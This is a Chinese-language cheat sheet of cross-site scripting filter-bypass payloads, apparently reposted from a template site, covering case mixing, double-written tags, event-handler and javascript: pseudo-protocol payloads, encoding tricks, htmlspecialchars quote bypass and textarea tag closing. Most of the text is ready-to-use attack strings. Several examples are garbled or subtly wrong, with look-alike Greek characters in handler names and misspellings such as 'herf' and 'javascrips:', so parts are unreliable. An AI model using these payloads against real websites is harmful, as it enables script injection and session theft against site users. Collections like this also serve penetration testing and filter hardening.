1、大小写绕过
HTML对标签大小写不敏感,可以利用大小写混用绕过
例如:<script>改为<ScRiPt>
2、空格回车TAB
例如:js伪协议javascript:alert('xss');可以改为java script:alert('xss');
等
3、双写绕过
有些情况的规则会将黑名单标签替换为空,可以利用这一点构造标签
例如:<script>改为<scr<script>ipt>
同理某些注释符在规则中也会替换为空,这时候可以利用它构造payload
例如:<script>改为<scr<!---test--->ipt>
4、事件绕过
就是加入一些事件 此方法可绕过大部分SRC域名过滤器,它允许将事件替换为任何标签中可用的事件类型,例如onblur,onclick
事件 描述
onclick 在用户使用鼠标左键点击对象时触发
ondblclick 用户双击对象时触发
onmousedown 用户用任何鼠标按键单击对象时触发
onmouseenter/onmouseover 用户将鼠标指针移动到对象内时触发
onmouseleave/onmouseout 用户将鼠标移出对象边界时触发
onmousemove 用户将鼠标划过对象时触发
onmouseup 用户在鼠标位于对象之上时释放鼠标按钮触发
onmousewheel 鼠标滚轮按钮旋转时触发
onpaste 用户粘贴数据以便从剪切板向文档传输数据在目标对象上时触发
onpropertychange 在对象上发生对象属性更改时触发
onkeydown 用户按下键盘按键时触发
onerror 装载文档或图像的过程中发生错误时触发
onload 加载完毕自动触发
非黑名单标签和事件
<img>
payload:<img src=1 οnerrοr=alert("xss");>
<input>
payload: <input οnfοcus="alert('xss');">
<input οnblur=alert("xss") autofocus><input autofocus> #竞争焦点,触发onblur事件
<input οnfοcus="alert('xss');" autofocus> #通过autofocus属性执行本身的focus事件
<details>
payload: <details οntοggle="alert('xss');">
<details open οntοggle="alert('xss');"> #使用open属性触发ontoggle事件
<svg>
payload: <svg οnlοad=alert("xss");>
<iframe>
payload: <iframe οnlοad=alert("xss");></iframe>
<body>
payload: <body/οnlοad=alert("xss");>
5、编码绕过
js编码、base64编码、url编码、html编码
思路:后台有可能会对代码中的关键字进行过滤,但我们可以尝试将关键字进行编码后在插入。(注意:编码在输出时是否会被正常识别和翻译才是关键,不是所有的编码都是可以的)
例1:一次编码案例
#使用事件属性onerror()的原始payload:
<img src=# onerror=alert"('yangshuang')"/>
#使用HTML_ENTITY编码后的payload:
<a src=x onerror="alert('yangshuang')"/>
例2:多次编码案例解析如下编码
#原始payload
<a herf="javascrips:alert(XSS)"> </a>
#使用unicode的UTF-16编码alert这个字符
<a herf="javascrips:\u0061\u006C\u0065\u0072\u0074(XSS)"> </a>
#再用url编码alert的中间结果
<a herf="javascrips:%5Cu0061%5Cu006C%5Cu0065%5Cu0072%5Cu0074(XSS)"> </a>
#最后用html实体编码,再编码整个payload
太长了,略
6)htmlspecialchars()函数绕过:
#该函数的语法:
htmlspecialchars(string,flags,character-set,double_encode)
#可用的quotestyle类型:
ENT_COMPAT - 默认。仅编码双引号
ENT_QUOTES - 编码双引号和单引号
ENT_NOQUOTES - 不编码任何引号
#预定义的字符是:
& (和号) 成为 &
" (双引号) 成为 "
’ (单引号) 成为 '
< (小于) 成为 <
> (大于) 成为 >
过滤原理:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号
# 默认配置下,可使用以下语句绕过:
q' onclick='alert(111)'
6、伪协议
实战日管理员难顶,但是你提交src的话 还是会收的
他过滤了on函数这些 肯定用不了 但是可以用伪协议
<a href="javascript:alert(1)">1</a>
<iframe src="javascript:alert(1)">
文章来源:https://www.toymoban.com/news/detail-571768.html
<img src="javascript:alert('xss')">
<table background="javascript:alert('xss')"></table>文章来源地址https://www.toymoban.com/news/detail-571768.html
7、拆分关键字
window["al" + "ert"]
8、<textarea>标签绕过 后台在处理数据的时候echo '<textarea>'.$a."</textarea>"; 代码被放在了文本框内 那我们就可通过闭合标签绕过 </textarea><script>alert("xx")</script><textarea>
到了这里,关于xss绕过的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!